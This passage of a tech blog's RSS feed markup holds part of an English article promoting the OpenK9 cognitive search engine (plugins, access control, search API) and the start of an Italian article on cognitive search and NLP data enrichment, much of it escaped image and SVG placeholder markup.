c2-2%201-3-1-2v-1c1-1%201-1-1-1-1%201-2%200-2-1l-1-3%201-1h1l-1-2-1%201h-1c-1-1-2-1-4%201m-143%2061c0%2017%201%2022%202%2023l1-22c0-20%200-23-2-23l-1%2022m39-8l-3%202c-3%200-7%204-7%207l2%204c5%206%2019%203%2019-4%200-3-4-7-7-7-2%200-3-1-3-2h-1m-6%209c0%205%201%206%207%206%205%200%206-1%206-6v-5h-13v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/c85cb/features2.webp 300w,/static/51903dcd04c7ed8367e5d4208ddfee74/e88ff/features2.webp 600w,/static/51903dcd04c7ed8367e5d4208ddfee74/92f8c/features2.webp 1200w,/static/51903dcd04c7ed8367e5d4208ddfee74/4dd3a/features2.webp 1626w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/5a46d/features2.png 300w,/static/51903dcd04c7ed8367e5d4208ddfee74/0a47e/features2.png 600w,/static/51903dcd04c7ed8367e5d4208ddfee74/c1b63/features2.png 1200w,/static/51903dcd04c7ed8367e5d4208ddfee74/7e21b/features2.png 1626w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Functional Features&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/51903dcd04c7ed8367e5d4208ddfee74/c1b63/features2.png&quot; title=&quot;Figura 13 - Functional Features&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Functional Features&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Pluggability and customization are in particular two fundamental aspects that characterize Openk9.
By defining specific plugins, it is possible to easily extend the functional capabilities of Openk9.
An appropriate plugin can be defined for each new data source, with the aim of defining aspects such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the connection to the external data source&lt;/li&gt;&lt;li&gt;the form of the indexed data&lt;/li&gt;&lt;li&gt;the enrichment activity to be carried out on the data&lt;/li&gt;&lt;li&gt;the presentation of the frontend data&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In this way it is possible to add in a totally pluggable way new data sources, which will be managed and treated by the
system according to the customized logics defined by the plugin.&lt;/p&gt;&lt;p&gt;To learn more about how to create a new plugin for Openk9 visit the appropriate &lt;a href=&quot;https://www.openk9.io/docs/create-plugin-using-java/&quot;&gt;section&lt;/a&gt;
of the site.&lt;/p&gt;&lt;h2 id=&quot;other-relevant-features&quot;&gt;Other relevant features&lt;/h2&gt;&lt;h3 id=&quot;acl-managementaccess-control-list&quot;&gt;ACL management(access-control list)&lt;/h3&gt;&lt;p&gt;A cognitive search engine like Openk9 centralizes the contents of an entire organization or several organizations under a single database.&lt;/p&gt;&lt;p&gt;Organization-wide confinement is usually managed by differentiating data on separate indexes by tenant. Hence any organization
will be able to access only and exclusively data related to his tenant.&lt;/p&gt;&lt;p&gt;But how is access to by users belonging to the same organization managed? Theoretically on the same index they could
be present content visible to one user but not visible to another.&lt;/p&gt;&lt;p&gt;Openk9 also here manages the access control logics in a pluggable way; this is because different data sources can have logic
different.&lt;/p&gt;&lt;p&gt;In the case of a Liferay portal, the management is of the Role-based type, in the case of an Imap server, on the other hand, the logics are linked to senders, recipients, etc ...&lt;/p&gt;&lt;p&gt;For this reason, for each data source, it is possible to define these logics in the relative plugin.&lt;/p&gt;&lt;p&gt;According to the appropriate logic, Openk9 indexes not only the content or metadata, but also the information for access management.
This information is then used to apply access control directly to search time, thus allowing management
very efficient and guaranteeing very fast search times.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3a89c547c5ee8189e009543cb44a9702/565cc/acl.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:59.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;239\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20239\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M56%2013a1357%201357%200%2001-1%209l3-1c0-1%201-2%203-2l3%202c0%201%204%202%204%200l-2-7c-2-5-3-7-5-7s-3%201-5%206m15-4c-6%204-2%2013%206%2013l4-2c0-2%200-2-2-1-4%200-6-1-6-4%200-4%202-5%206-5%202%201%202%201%202-1-1-2-7-3-10%200m30-1v8c0%205%201%206%203%206s2%200%202-3c0-2%200-3%202-3s3%201%203%203%200%203%202%203%202%200%202-7c0-8%200-8-2-8s-2%201-2%203c0%201-1%202-3%202-2%201-2%200-2-2%200-3-4-4-5-2m50%201c0%202%200%203-3%202-3%200-5%202-5%206s1%205%207%205h5v-8c0-6%200-7-2-7l-2%202m117%206c0%206%200%207%202%207%201%200%202-1%202-4%201-5%203-5%203%200%200%203%200%204%202%204%203%200%203-9%200-11h-4c-1%201-1%201-1-1s-1-3-2-3c-2%200-2%201-2%208m-150-4c-3%201-1%203%202%202h4l-4%201c-6%203-5%208%203%208h5v-5c0-5-4-8-10-6m55%200h-4v5c0%205%201%206%203%206%201%200%202-1%202-4%200-6%203-5%203%200%200%203%200%204%202%204s2-1%202-4c0-4-2-8-4-8l-4%201m11%201c-2%201-3%206%200%208v2c-2%201%200%204%203%204%205%200%207-2%207-9%200-6%200-6-2-6l-4-1-4%202m28%200c-2%202-1%204%203%206%202%201%202%201-1%201-2-1-3%200-3%201%200%203%208%202%2010-1l1-1c0%204%2010%205%2011%202%200-2%200-2-3-1l-4-1%201-1c6%201%208-2%204-6-4-2-7-1-9%203l-1%203-4-2-3-2h6c0-3-6-4-8-1m24-1c-3%201-1%203%202%202h4l-4%201c-7%203-5%208%203%208h5v-4c0-6-5-9-10-7m15%200c-3%200-3%200-3%206%200%204%200%205%202%205%201%200%202-1%202-4%201-4%204-6%204-2%200%203%203%206%207%206%202%200%203%200%203-2%200-1-1-2-2-1-2%200-3%200-3-2-1-2%201-4%204-3l1-1c0-4-8-3-9%200-1%201-1%200-1-1l-1-2-4%201M17%2031l130%201a6129%206129%200%2001138%200c-3-2-263-3-268-1m3%206c-3%201-8%208-8%2011%200%206%202%2013%204%2013%201%200%204-4%204-6s1-2%203-2c3%200%203%200%203-4l1-4%201%201v1h3c4%202%204%204-1%206-4%201-4%201-2%207%201%206%203%206%208%202%2013-11%200-32-16-25m0%203c-4%202-5%205-6%209-1%203%201%209%202%209%202-1%203-7%202-8-2-1%200-5%202-7%203-1%203-1%207%201l7%202c3%201%202%208-2%208h-2v5c0%205%202%205%206%201%208-8%203-22-9-22l-7%202m281%2039l-1%2032v2l1%2010v10H164a912%20912%200%2001-138-2c-2%202-4%202-14%202H0v106h200l151-1h-49v-93a3455%203455%200%2000-1-66M121%2058l-1%2014-1%2014v1l1%2015v14h108v-14c0-10%201-14%202-14%202%200%202-2%200-3-2%200-2-1-2-14V57h-53l-54%201m0%2029v28h106V59H121v28M4%2071v5c1%203%206%203%208%200%201-1%201-1%201%202l1%203%201-1%202-2c2%200%203-1%203-3s-1-3-4-3l-5-2c-2-2-5-1-7%201m265%201l-3%201c-3%201-3%201-4%207v6h17v-6c0-6%200-6-4-7l-3-1-1-1-2%201m90%2065c-7%205-8%2016-3%2024l4%205c1%201%200%201-3%202-5%201-9%205-9%208%200%202%201%202%2019%202%2016%200%2018%200%2018-2s-5-7-10-8l-4-1%202-2c8-6%209-20%203-27-4-4-13-4-17-1m-205%2020v16h23v-15c1-18%201-18-13-18h-10v17m47-1v17h23v-15c0-18%200-18-13-18h-10v16m47%201v16h24v-14c0-19%200-19-14-19h-10v17m-235%200v16h23v-15l-1-16-12-1H13v16m47%200v16h23v-14c0-18%200-18-13-18H60v16m46%200v16h24v-14c0-18%200-18-14-18h-10v16m-38-7c-3%201-3%202-3%206%200%207%204%2010%2010%209l3-1v-14l-4-1-6%201m138%203c-2%203-3%206-1%208v2c-2%203%200%204%203%202l5-1c4%200%208-4%208-6%200-6-10-9-15-5m-40%2059v25h93v-51h-93v26m-141-1v23h92v-45H25v22\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3a89c547c5ee8189e009543cb44a9702/c85cb/acl.webp 300w,/static/3a89c547c5ee8189e009543cb44a9702/e88ff/acl.webp 600w,/static/3a89c547c5ee8189e009543cb44a9702/92f8c/acl.webp 1200w,/static/3a89c547c5ee8189e009543cb44a9702/62ed8/acl.webp 1800w,/static/3a89c547c5ee8189e009543cb44a9702/53d81/acl.webp 1806w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3a89c547c5ee8189e009543cb44a9702/5a46d/acl.png 300w,/static/3a89c547c5ee8189e009543cb44a9702/0a47e/acl.png 600w,/static/3a89c547c5ee8189e009543cb44a9702/c1b63/acl.png 1200w,/static/3a89c547c5ee8189e009543cb44a9702/d61c2/acl.png 1800w,/static/3a89c547c5ee8189e009543cb44a9702/565cc/acl.png 1806w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 14 - Acl Handling&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3a89c547c5ee8189e009543cb44a9702/c1b63/acl.png&quot; title=&quot;Figura 14 - Acl Handling&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Acl Handling&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;headless-search-api&quot;&gt;Headless Search API&lt;/h3&gt;&lt;p&gt;Openk9 offers headless api for content research and for all related activities, such as auto-completion and query understanding.&lt;/p&gt;&lt;p&gt;For more information, explore the [API] documentation (&lt;a href=&quot;https://www.openk9.io/docs/api/searcher-api&quot;&gt;https://www.openk9.io/docs/api/searcher-api&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;The natural headless of the bees allows the possibility to interface to Openk9 in a simple way with multiple interface tools, such as
standalone frontend, web portals, chatbots rather than voice assistants.&lt;/p&gt;&lt;p&gt;Search Api are also designed to be extended and customized, in order to refine and refine search options based on context
and to the domain.&lt;/p&gt;&lt;p&gt;New search functions can be added to apply new search logic. Understanding capabilities can also be extended
of the query by defining new rules and tools for understanding.&lt;/p&gt;&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Openk9 is a modern and powerful search system. Through its characteristics it aims to achieve level performance in terms
of all the needs within organizations nowadays.
The use of artificial intelligence techniques for the management of a whole series of aspects is in line with the logic of an increasingly
precise and powerful.
Furthermore, Openk9 wants to differentiate itself from its competitors. It does so mainly thanks to the aforementioned ability to be easily extendable etc.
customizable. Fundamental properties in order to satisfy and solve the great heterogeneity of needs dictated by the real world.&lt;/p&gt;&lt;p&gt;So what are you waiting for ?! On the Openk9 website you can find an in-depth guide on how to install and run Openk9 on your machine.
Find both the documentation to do everything through Docker Compose, and the documentation for a more robust installation on Kubernetes clusters;
all followed by documentation for the configuration of the main aspects of the product.&lt;/p&gt;&lt;p&gt;Furthermore, to try Openk9 directly, use the online &lt;a href=&quot;https://demo.openk9.io/&quot;&gt;demo environment&lt;/a&gt; and test the search functions directly.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Ricerca cognitiva con OpenK9]]></title><link>https://techblog.smc.itopenk9-cognitive-search</link><guid isPermaLink="false">https://techblog.smc.itopenk9-cognitive-search</guid><pubDate>Fri, 15 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;La ricerca rappresenta un task di fondamentale importanza in molteplici contesti lavorativi e non; l&amp;#x27;obiettivo principale di un sistema di ricerca è
quello di soddisfare nella maniera più precisa ed efficiente possibile i bisogni dell&amp;#x27;utente,
individuando quelli che sono i risultati più pertinenti in base alla richiesta.&lt;br/&gt;
Con questo obbiettivo i sistemi di ricerca si sono evoluti sempre più negli ultimi anni.&lt;br/&gt;
Allo stato dell&amp;#x27;arte oggi si parla di &lt;strong&gt;motori di ricerca cognitiva&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Nel seguito andremo a vedere cos&amp;#x27;è un sistema di ricerca cognitivo, per poi passare a descrivere ed esplorare il funzionamento della soluzione di ricerca
cognitiva OpenK9.&lt;/p&gt;&lt;h1 id=&quot;cosè-la-ricerca-cognitiva&quot;&gt;Cos&amp;#x27;è la ricerca cognitiva&lt;/h1&gt;&lt;p&gt;Al giorno d&amp;#x27;oggi le organizzazioni si trovano a gestire contenuti provenienti da molteplici sorgenti dati. Come ad esempio:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Mail server&lt;/li&gt;&lt;li&gt;Portali web&lt;/li&gt;&lt;li&gt;CRM&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Questi contenuti sono molto spesso di tipologie diverse. Possiamo avere documenti, email, contatti, calendari, ticket, e molto altro.&lt;/p&gt;&lt;p&gt;Non per ultimo questi contenuti possono essere sia di natura strutturata che non strutturata.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ef791af36e5e7715fdac8386eb991185/61016/format.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;214\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20214\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20107v107h182A102539%20102539%200%2001205%202V0H0v107M210%202a15228%2015228%200%2001-23%20211l107%201h106V0h-95c-90%200-95%200-95%202m147%2025l1%205%201-1%201-2%202%202h9c3%203%204%201%202-3-2-6-4-7-6-1l-2%204-1-5c0-2-1-3-4-3s-3%200-3%204m-3%2043c-3%200-11%2012-8%2012l1%201c0%203-14-1-21-7l-5-3c-1%200%201%208%203%2010%203%204%202%207-1%204-2-2-2-1-1%202l4%205c4%202%205%204%202%204l-2%201c0%201%206%205%208%205%204%200%202%203-4%206l-6%203h3c20%204%2038-8%2040-28%200-4%201-6%202-7l1-2c-3%201-4%200-2-2l3-2-3%201-5-1c-2-2-6-3-9-2M43%2075v9h100V74H93l-50%201m203%2023v21h55V76h-55v22m2-1c0%2017%201%2024%202%2020h2l25%201h23V98l-1-19c-1%200-2%202-2%205%200%205%200%205-3%205-3%201-6%203-10%208-11%2011-16%2013-23%206l-7-5-3-1V81l22-1c15%200%2023%200%2022-1l-24-1h-23v19m16-11c-3%202-2%206%200%208%204%204%2010%201%2010-4s-7-8-10-4M42%2089v26l1%2024h25c21%200%2025%200%2025%202l-25%201-25%201-1%202v6l1%202h60l-2-4c-12-17%200-39%2021-39%208%200%2016%204%2013%207l-4-1c-19-10-40%2014-27%2031%2014%2018%2041%207%2039-16v-5c2%200%202-1%202-4s0-3-1-2a8911%208911%200%2000-24%2025c-2%200-11-12-11-14%201-2%203-1%207%204l4%204s6-5%2011-12c6-7%2012-12%2013-12s2-5%200-5l-1-12V88H93l-51%201m8%207c-2%203%200%203%2020%203%2018%200%2019%200%2019-2-1-2-37-3-39-1m47%200c-4%202%201%203%2020%203%2018%200%2019%200%2019-2%200-1-2-2-19-2l-20%201m-47%208c-2%202%202%202%2020%202l19-1c0-2-3-2-19-2l-20%201m47%200c-2%202%202%202%2020%202l19-1c0-2-3-2-19-2l-20%201m188%2027l19%2013c2%200%2018-10%2022-14%201-1-9-1-21-1-22%200-22%200-20%202m-2%2023v14h44v-14c0-11%200-14-1-13a440%20440%200%2000-21%2013l-11-7-11-7v14m-263-6c-14%205-19%2025-8%2037%203%204%204%203%200-2-2-3-2-5%202-5%202%201%202%201%200-2-1-2-2-9-1-12l2-8c0-2%200-2%203-2%205%201%2016%202%2019%201%203%200%202-7-1-8-4-1-11-1-16%201m214%204c-12%206-17%2024-9%2033%203%203%209%203%207%200l-1-6c-1-5-2-5-5-5-4%200-4-2%201-3%202%200%203-1%204-4l2-7-1-2-2-1%202-1c1%200%204-1%205-3%204-3%205-2%202%201-1%203-1%203%202%203s3%200%203-4c1-5-2-5-10-1m-217%207l-1%205c-2%200-1%209%201%2012l5%203c5%201%205%202%202%205-2%202-3%202-5%202h-2l4%201c3%200%203%200%203%203s1%204%203%204c6%201%208-1%208-6l-1-6c-1-1-1-2%202-2%207-2%2011-9%208-15l-2-6c0-3%200-3-3-2l-9%201-10-1c-3-1-3-1-3%202m29%202c2%2011%200%2017-6%2019-3%201-3%202-3%207l1%205c3%200%2011-8%2013-13%204-8%201-22-4-22-2%200-2%200-1%204m38-3l1%203v6l-1%204h9c7%200%208%200%208-2l-1-7v-5h-8l-8%201m151%203l-2%206v4h11v-5c0-5%200-6-2-6l-4-1-3%202m15-1c-3%200-3%200-3%206v5h11v-3c-1-5-3-9-4-9l-4%201m-17%2016l2%206c1%204%201%204%205%204h4v-12h-5c-5%200-6%200-6%202m14%204v6h4c4%200%204%200%206-3%202-7%202-9-4-9h-6v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ef791af36e5e7715fdac8386eb991185/c85cb/format.webp 300w,/static/ef791af36e5e7715fdac8386eb991185/e88ff/format.webp 600w,/static/ef791af36e5e7715fdac8386eb991185/92f8c/format.webp 1200w,/static/ef791af36e5e7715fdac8386eb991185/7f7a1/format.webp 1770w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ef791af36e5e7715fdac8386eb991185/5a46d/format.png 300w,/static/ef791af36e5e7715fdac8386eb991185/0a47e/format.png 600w,/static/ef791af36e5e7715fdac8386eb991185/c1b63/format.png 1200w,/static/ef791af36e5e7715fdac8386eb991185/61016/format.png 1770w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Esempio di contenuti strutturati e non strutturati&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ef791af36e5e7715fdac8386eb991185/c1b63/format.png&quot; title=&quot;Figura 1 - Esempio di contenuti strutturati e non strutturati&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Esempio di contenuti strutturati e non strutturati&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;p&gt;Un primo obiettivo che un moderno sistema di ricerca deve soddisfare è quello di accentrare la ricerca verso contenuti di diversa origine, tipologia
e natura in un unico sistema che permetta la ricerca verso tutti questi contenuti attraverso un singolo punto di accesso
offrendo la medesima esperienza di ricerca.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figura 2 - Search (il punto d&amp;#x27;inzio)&quot; title=&quot;Figura 2 - Search (il punto d&amp;#x27;inzio)&quot; src=&quot;/linked/c7efa54f13ce9bf9970ab3bf23d59fce/search.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Search (il punto d&amp;#x27;inzio)&lt;/figcaption&gt;&lt;/figure&gt; &lt;p&gt;Ma questo non è quanto. Tutto il mondo dei sistemi informatici viene sempre più influenzato ed esteso grazie all&amp;#x27;uso delle moderne tecniche di
&lt;strong&gt;Intelligenza Artificiale&lt;/strong&gt; (AI) e &lt;strong&gt;Machine Learning&lt;/strong&gt; (ML). I sistemi di ricerca non sono da meno. Da questo connubio nascono i sistemi di ricerca cognitiva.&lt;/p&gt;&lt;p&gt;Volendo dare una definizione di sistema di ricerca cognitivo possiamo dire che:&lt;/p&gt;&lt;p&gt;&lt;em&gt;un sistema di ricerca cognitivo è un sistema di ricerca avanzata che utilizza funzionalità di ML per arricchire i contenuti
e supportare l’utente nella ricerca, con l&amp;#x27;obiettivo primario di aumentare la precisione dei risultati&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Quindi, un ruolo fondamentale in questi sistemi è rivestito dalle funzionalità di AI e ML. In particolare, così come enunciato dalla definizione data,
AI e ML sono utilizzate per due scopi ben precisi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;arricchire i contenuti indicizzati dal sistema di ricerca cognitivo;&lt;/li&gt;&lt;li&gt;supportare l&amp;#x27;utente nella ricerca nel raggiungimento dei suoi intenti.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Nel seguito verrà illustrato il funzionamento della soluzione OpenK9, e sarà più chiaro come funziona e viene gestita l&amp;#x27;attività di arricchimento del dato.&lt;/p&gt;&lt;p&gt;In questa fase però è di interesse fare una panoramica su alcune delle tecniche utili e frequentemente utilizzate per le fasi citate.&lt;/p&gt;&lt;h2 id=&quot;tecniche-di-machine-learning-per-larricchimento&quot;&gt;Tecniche di Machine Learning per l&amp;#x27;arricchimento&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Cosa significa arricchimento del dato?&lt;/strong&gt; &lt;/p&gt;&lt;p&gt;Con arricchimento del dato si fa riferimento all&amp;#x27;attività di analisi ed espansione del contenuto di interesse, che quando viene indicizzato dal motore
di ricerca cognitivo, viene analizzato, con l&amp;#x27;obiettivo di estrarre l&amp;#x27;informazione aggiuntiva e &lt;em&gt;&amp;quot;nascosta&amp;quot;&lt;/em&gt;, che si può rivelare utile al fine di aumentare la
precisione nell&amp;#x27;attività di ricerca. &lt;br/&gt;
Questa informazione una volta estratta viene legata al dato originale, e il dato arricchito viene indicizzato. L&amp;#x27;informazione derivante dall&amp;#x27;attività di
arricchimento a questo punto può essere utilizzata per fare delle ricerche più potenti e precise.&lt;/p&gt;&lt;p&gt;Un sistema di ricerca cognitiva deve poter supportare l&amp;#x27;utilizzo di qualsiasi tecnica utile all&amp;#x27;arricchimento del dato,
poiché queste possono variare in base alle esigenze e alla natura del dato.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In questo contesto andiamo a vedere alcune tecniche di &lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;
utili, ovviamente, nel caso di arricchimento di contenuti testuali, normalmente quelli più diffusi e passibili di ricerca. &lt;/p&gt;&lt;p&gt;Una serie dedicata ai più rilevanti task di &lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;
è presente nel nostro Tech Blog e alcune delle tecniche qui elencate sono affrontate da questa serie di articoli.
Inizia a leggere partendo dal &lt;a href=&quot;https://techblog.smc.it/it/2020-12-11/nlp-ner&quot;&gt;primo articolo&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;A seguire le tecniche comunemente utilizzate.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://techblog.smc.it/it/2020-12-11/nlp-ner&quot;&gt;Named Entity Recognition&lt;/a&gt;&lt;/strong&gt;: si tratta di riconoscere entità e concetti semantici nel testo.
Queste entità possono essere poi utilizzare per eseguire delle ricerche più complesse e precise.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:613px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ac461e4284d877cec31cf280dffe35b9/5754a/ner.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;183\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20183\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%205L8%2016l1%2011h56l59-1c1-2%202-19%200-21C122%204%2011%203%209%205m263%200l-1%2011c0%2013-2%2012%2031%2012s31%201%2031-12l-1-11c-2-2-58-2-60%200M9%2033L8%2045l1%2011h42c39%200%2043%200%2044-2%202-2%201-17-1-20l-1-2H52L9%2033m358%208l-1%201h-2c-2%202-2%202-3%200h-6l-1%202h-2l-2-2h-2c-2-2-4%201-4%203%201%204%205%203%206%200l1-2v2c1%204%203%204%204%201v-2l1%202c1%202%204%203%206%201h1l3%201c2%200%202%200%202-4v-5l-1%202M9%2062v22l38%201h36l2-2c2-4%201-20-1-21H9m319%201l-1%2010c0%2013-2%2012%2028%2012l27-1V62l-27-1c-25%200-26%200-27%202m-140%209c0%204%200%205%202%205l3-1h2l3%201h3c0%203%202%203%204%202%202-2%201-8-1-8h-9c-2%202-2%202-2%200l-2-1c-1%201-2%200-2-1-1-1-1%201-1%203m64-2c0%202-1%202-2%201s-2-1-3%201l-4%201c-1-1-1-1%201-1s2%200%201-1c-4-2-5%201-2%204v1h-2%206l4%201c2%200%203-1%203-3l1-2%201%203c0%202%201%203%202%201h7c2%202%205%201%206-1%201-4-3-6-5-4s-2%202-2%200c-1-1-4-1-5%201l-1-1-3-1-1-1c-1-1-1-1-2%201M9%2091c-3%203-3%2019%200%2021%203%203%20102%203%20104%200%203-2%203-19%200-21-3-3-102-3-104%200m239%200c-2%202-2%205-2%2011%200%205%200%208%202%2010l1%202h72c64%200%2072%200%2073-2%203-2%203-19%200-21-1-2-8-2-73-2h-72l-1%202m-103%207l-1%204c0%203%202%205%204%203h7c1-2%201-2%202-1%203%202%205%201%205-2l-2-2-2-1h3l1-1c0-2-4-1-5%201h-2c-1-3-4-2-5%201l-1%203v-3c0-3-3-4-4-2M9%20120c-2%201-2%203-2%2010%200%2014-3%2013%2041%2013l38-1c2-1%202-2%202-11l-1-12c-2-2-76-1-78%201m100%200c-2%201-2%204-2%2010%200%2013-3%2012%2036%2012l36-1c2-2%201-21-1-22l-35-1c